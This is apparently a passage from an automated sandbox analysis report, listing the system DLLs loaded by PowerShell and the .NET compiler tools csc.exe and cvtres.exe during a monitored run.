Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
